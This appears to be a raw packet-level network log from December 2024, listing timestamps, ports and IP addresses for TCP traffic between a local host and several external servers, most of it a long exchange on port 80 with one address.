Dec 13, 2024 01:51:50.820589066 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.820650101 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.820703983 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.820796013 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.820796013 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.820796013 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.820811987 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.820873022 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.822772026 CET	49871	443	192.168.2.4	149.154.167.99
Dec 13, 2024 01:51:50.822809935 CET	443	49871	149.154.167.99	192.168.2.4
Dec 13, 2024 01:51:50.843696117 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.888355017 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.935525894 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.935554981 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.964117050 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.964159966 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.964256048 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.964304924 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.964304924 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.964519024 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.964519024 CET	49870	443	192.168.2.4	104.21.79.7
Dec 13, 2024 01:51:50.964538097 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:50.964549065 CET	443	49870	104.21.79.7	192.168.2.4
Dec 13, 2024 01:51:51.063280106 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:51.183057070 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:51.239033937 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:51.239120007 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:51.239222050 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:51.239537001 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:51.239572048 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:51.295835018 CET	80	49874	185.215.113.43	192.168.2.4
Dec 13, 2024 01:51:51.295901060 CET	49874	80	192.168.2.4	185.215.113.43
Dec 13, 2024 01:51:51.299704075 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:51.419500113 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:51.419586897 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:51.419713974 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:51.539457083 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:51.550781965 CET	80	49820	80.82.65.70	192.168.2.4
Dec 13, 2024 01:51:51.555243015 CET	49820	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:51:51.748368979 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:51.748595953 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:51.749890089 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:51.749897003 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:51.750096083 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:51.751611948 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:51.751751900 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:51.751784086 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:51.751842022 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:51.751849890 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:52.753217936 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753288031 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753343105 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753377914 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753377914 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753415108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753424883 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753451109 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753484964 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753484964 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753488064 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753524065 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753540039 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753559113 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753561020 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753597021 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.753601074 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.753640890 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.873702049 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.873739004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.873771906 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.873805046 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.877733946 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.877787113 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.953145027 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.953216076 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.953239918 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.953285933 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.957279921 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.957348108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.957402945 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.957456112 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.965682030 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.965749025 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.965804100 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.965910912 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.974085093 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.974144936 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.974208117 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.974252939 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.982466936 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.982522011 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.982610941 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.982661963 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.990890980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.990945101 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.991025925 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.991074085 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.999351978 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.999403954 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:52.999445915 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:52.999494076 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.007780075 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.007827044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.007833004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.007879972 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.015980005 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.016036987 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.016103029 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.016150951 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.023962021 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.024014950 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.024059057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.024107933 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.032013893 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.032058001 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.032097101 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.032144070 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.032515049 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:53.032669067 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:53.032732964 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:53.032942057 CET	49878	443	192.168.2.4	172.67.213.48
Dec 13, 2024 01:51:53.032962084 CET	443	49878	172.67.213.48	192.168.2.4
Dec 13, 2024 01:51:53.039850950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.039908886 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.067929983 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.068171978 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.073211908 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.073241949 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.073658943 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.073725939 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.074189901 CET	49879	443	192.168.2.4	116.203.10.31
Dec 13, 2024 01:51:53.115334988 CET	443	49879	116.203.10.31	192.168.2.4
Dec 13, 2024 01:51:53.145752907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.145807028 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.145823002 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.145864010 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.148092031 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.148153067 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.148286104 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.148343086 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.153228998 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.153286934 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.153359890 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.153404951 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.158401966 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.158459902 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.158520937 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.158575058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.163516998 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.163577080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.163630009 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.163703918 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.168509960 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.168576002 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.168625116 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.168682098 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.173424959 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.173491955 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.173566103 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.173619986 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.178298950 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.178414106 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.178420067 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.178463936 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.183193922 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.183257103 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.183337927 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.183384895 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.188112020 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.188173056 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.188244104 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.188288927 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.193027973 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.193093061 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.193147898 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.193196058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.197956085 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.198048115 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.198091984 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.198091984 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.202874899 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.202933073 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.202945948 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.202991009 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.207824945 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.207870007 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.207938910 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.207988024 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.212706089 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.212764978 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.212799072 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.212850094 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.217638016 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.217704058 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.217717886 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.217767954 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.222489119 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.222543001 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.222613096 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.222659111 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.227421045 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.227483034 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.227566004 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.227621078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.232357025 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.232479095 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.232544899 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.232577085 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.237257957 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.237318039 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.237404108 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.237457037 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.242199898 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.242252111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.242257118 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.242299080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.338226080 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.338299990 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.338335991 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.338385105 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.340065956 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.340112925 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.340231895 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.340281963 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.343935966 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.343992949 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.344006062 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.344052076 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.347809076 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.347867966 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.347942114 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.347989082 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.351696968 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.351752043 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.351850986 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.351897001 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.355458975 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.355535030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.355626106 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.355674028 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.359117985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.359188080 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.359251976 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.359308004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.362788916 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.362848997 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.362920046 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.362972975 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.366374016 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.366432905 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.366525888 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.366816044 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.369858980 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.369919062 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.369986057 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.370032072 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.373178005 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.373234034 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.373317957 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.373368979 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.376580954 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.376637936 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.376720905 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.376775026 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.379930973 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.379986048 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.380036116 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.380090952 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.383296967 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.383357048 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.383426905 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.383485079 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.386658907 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.386714935 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.386769056 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.386816978 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.390052080 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.390110016 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.390201092 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.390255928 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.393452883 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.393507004 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.393564939 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.393608093 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.396797895 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.396855116 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.396918058 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.396965981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.400218964 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.400266886 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.400269985 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.400315046 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.403548956 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.403605938 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.403646946 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.403714895 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.406899929 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.406944036 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.406964064 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.407010078 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.410306931 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.410357952 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.410403967 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.410451889 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.413640022 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.413750887 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.413780928 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.413826942 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.417032957 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.417097092 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.417126894 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.417182922 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.420432091 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.420480967 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.420586109 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.420630932 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.423772097 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.423882961 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.423914909 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.423959970 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.427145958 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.427201986 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.427261114 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.427310944 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.430552006 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.430603981 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.430648088 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.430695057 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.433886051 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.433990002 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.433998108 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.434041023 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.437266111 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.437321901 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.437362909 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.437417030 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.440620899 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.440677881 CET	49880	80	192.168.2.4	185.215.113.16
Dec 13, 2024 01:51:53.440706015 CET	80	49880	185.215.113.16	192.168.2.4
Dec 13, 2024 01:51:53.440752029 CET	49880	80	192.168.2.4	185.215.113.16
